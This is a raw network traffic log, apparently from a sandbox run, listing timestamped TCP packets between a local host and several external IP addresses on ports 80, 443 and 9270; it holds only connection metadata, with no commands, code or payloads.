Dec 15, 2024 12:00:01.204814911 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.204855919 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.205775976 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.205816031 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.205840111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.205878019 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.207216978 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.207256079 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.207499027 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.207544088 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.208379030 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.208502054 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.208523035 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.208600998 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.209291935 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.209332943 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.209414005 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.209450006 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.210239887 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.210280895 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.210366964 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.210406065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.211046934 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.211096048 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.211117983 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.211155891 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.212064028 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.212101936 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.212194920 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.212233067 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.213186026 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.213223934 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.213263035 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.213299990 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.214157104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.214229107 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.214267969 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.215245962 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.215284109 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.215342999 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.215382099 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.216274977 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.216382980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.216423988 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.217345953 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.217479944 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.217519045 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.218671083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.218712091 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.218776941 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.218813896 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.219460011 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.219484091 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.219500065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.219522953 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.220511913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.220637083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.220679998 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.221554995 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.221592903 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.221678019 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.221714973 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.222635984 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.222676039 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.222726107 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.222765923 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.224139929 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.224198103 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.224236012 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.224736929 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.224776030 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.224936008 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.224978924 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.225954056 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.226043940 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.226088047 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.226876974 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.226984978 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.227029085 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.227072001 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.227938890 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.228121042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.228162050 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.229003906 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.229144096 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.229185104 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.230015039 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.230055094 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.230151892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.230190039 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.231053114 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.231090069 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.231206894 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.231242895 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.232096910 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.232232094 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.232273102 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.233192921 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.233232975 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.233345032 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.233383894 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.234276056 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.234316111 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.234400034 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.234436035 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.235275030 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.235316038 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.235435963 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.235471964 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.236350060 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.236387014 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.236500978 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.236537933 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.237411976 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.237452030 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.237519026 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.237555027 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.238428116 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.238550901 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.238599062 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.239471912 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.239510059 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.239603043 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.239649057 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.240540981 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.240583897 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.240617037 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.240670919 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.241605043 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.241652012 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.241700888 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.241739988 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.242649078 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.242686033 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.242811918 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.242846966 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.243705034 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.243952036 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.243995905 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.244759083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.244800091 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.244872093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.244910002 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.245800018 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.245837927 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.245978117 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.246017933 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.246829033 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.246949911 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.246989965 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.247857094 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.247895002 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.385077000 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.385179043 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.385245085 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.385539055 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.385587931 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.385621071 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.385662079 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.386432886 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.386487961 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.386534929 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.386574030 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.387355089 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.387397051 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.387428999 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.387468100 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.388561964 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.388648033 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.388693094 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.389499903 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.389544010 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.389573097 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.389614105 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.390567064 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.390619993 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.390630007 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.390671968 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.391786098 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.391843081 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.391891956 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.391935110 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.393100023 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.393162012 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.393165112 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.393203974 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.393917084 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.394047976 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.394110918 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.394737005 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.394782066 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.394818068 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.394859076 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.395797014 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.395838022 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.395875931 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.395916939 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.396863937 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.396914005 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.396960974 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.397115946 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.398029089 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.398066044 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.398178101 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.398258924 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.399036884 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.399081945 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.399085045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.399120092 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.400260925 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.400356054 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.400388956 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.400429964 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.401129961 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.401186943 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.401256084 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.401299000 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.402124882 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.402169943 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.402198076 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.402237892 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.403187990 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.403225899 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.403337955 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.403378963 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.404289007 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.404342890 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.404375076 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.404412985 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.405289888 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.405334949 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.405411005 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.405450106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.406352043 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.406399012 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.406467915 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.406510115 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.407424927 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.407514095 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.407543898 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.407577038 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.408464909 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.408504009 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.408588886 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.408631086 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.409535885 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.409673929 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.409717083 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.410586119 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.410631895 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.410695076 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.410732985 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.411592960 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.411636114 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.411716938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.412661076 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.412709951 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.412764072 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.412800074 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.413697958 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.413748026 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.413829088 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.413871050 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.414764881 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.414804935 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.414855003 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.414900064 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.415801048 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.415842056 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.415925026 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.415968895 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.416878939 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.416917086 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.416984081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.417018890 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.417924881 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.418071985 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.418113947 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.418920040 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.418981075 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:04.208705902 CET	49871	80	192.168.2.4	185.215.113.43
Dec 15, 2024 12:00:04.208955050 CET	49888	80	192.168.2.4	185.215.113.43
Dec 15, 2024 12:00:04.267704964 CET	49890	443	192.168.2.4	104.21.79.7
Dec 15, 2024 12:00:04.267754078 CET	443	49890	104.21.79.7	192.168.2.4
Dec 15, 2024 12:00:04.267862082 CET	49890	443	192.168.2.4	104.21.79.7
Dec 15, 2024 12:00:04.298168898 CET	49890	443	192.168.2.4	104.21.79.7
Dec 15, 2024 12:00:04.298252106 CET	443	49890	104.21.79.7	192.168.2.4
Dec 15, 2024 12:00:04.328686953 CET	80	49888	185.215.113.43	192.168.2.4
Dec 15, 2024 12:00:04.328895092 CET	49888	80	192.168.2.4	185.215.113.43
Dec 15, 2024 12:00:04.328907013 CET	80	49871	185.215.113.43	192.168.2.4
Dec 15, 2024 12:00:04.329097033 CET	49871	80	192.168.2.4	185.215.113.43
Dec 15, 2024 12:00:04.412364960 CET	49888	80	192.168.2.4	185.215.113.43
Dec 15, 2024 12:00:04.532223940 CET	80	49888	185.215.113.43	192.168.2.4
Dec 15, 2024 12:00:05.530080080 CET	443	49890	104.21.79.7	192.168.2.4
Dec 15, 2024 12:00:05.530284882 CET	49890	443	192.168.2.4	104.21.79.7
Dec 15, 2024 12:00:05.632121086 CET	49890	443	192.168.2.4	104.21.79.7
Dec 15, 2024 12:00:05.632157087 CET	443	49890	104.21.79.7	192.168.2.4
Dec 15, 2024 12:00:05.632559061 CET	443	49890	104.21.79.7	192.168.2.4
Dec 15, 2024 12:00:05.682511091 CET	80	49888	185.215.113.43	192.168.2.4
Dec 15, 2024 12:00:05.682708025 CET	49888	80	192.168.2.4	185.215.113.43
Dec 15, 2024 12:00:05.724072933 CET	49890	443	192.168.2.4	104.21.79.7
Dec 15, 2024 12:00:05.755330086 CET	49890	443	192.168.2.4	104.21.79.7
Dec 15, 2024 12:00:05.755330086 CET	49890	443	192.168.2.4	104.21.79.7
Dec 15, 2024 12:00:05.755626917 CET	443	49890	104.21.79.7	192.168.2.4
Dec 15, 2024 12:00:05.974325895 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:05.974611998 CET	49894	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:06.094352007 CET	80	49894	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:06.094440937 CET	49894	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:06.094508886 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:06.094556093 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:06.832994938 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:07.399003029 CET	49900	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:07.518801928 CET	9270	49900	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:07.518942118 CET	49900	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:07.603462934 CET	49900	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:07.723418951 CET	9270	49900	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:07.736114979 CET	443	49890	104.21.79.7	192.168.2.4
Dec 15, 2024 12:00:07.736411095 CET	443	49890	104.21.79.7	192.168.2.4
Dec 15, 2024 12:00:07.736524105 CET	49890	443	192.168.2.4	104.21.79.7
Dec 15, 2024 12:00:08.929070950 CET	9270	49900	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:08.929735899 CET	49900	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:09.049639940 CET	9270	49900	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:09.398962975 CET	9270	49900	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:09.520750046 CET	49900	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:22.617691994 CET	49872	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:23.084484100 CET	49928	443	192.168.2.4	172.67.207.38
Dec 15, 2024 12:00:23.084558964 CET	443	49928	172.67.207.38	192.168.2.4
Dec 15, 2024 12:00:23.084652901 CET	49928	443	192.168.2.4	172.67.207.38
Dec 15, 2024 12:00:23.084970951 CET	49928	443	192.168.2.4	172.67.207.38
Dec 15, 2024 12:00:23.085005045 CET	443	49928	172.67.207.38	192.168.2.4
Dec 15, 2024 12:00:23.324476957 CET	49932	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:23.444400072 CET	9270	49932	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:23.444613934 CET	49932	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:23.511471987 CET	49932	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:23.631232023 CET	9270	49932	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:24.308614969 CET	443	49928	172.67.207.38	192.168.2.4
Dec 15, 2024 12:00:24.308722019 CET	49928	443	192.168.2.4	172.67.207.38
Dec 15, 2024 12:00:24.428644896 CET	49928	443	192.168.2.4	172.67.207.38
Dec 15, 2024 12:00:24.428755045 CET	443	49928	172.67.207.38	192.168.2.4
Dec 15, 2024 12:00:24.429805040 CET	443	49928	172.67.207.38	192.168.2.4
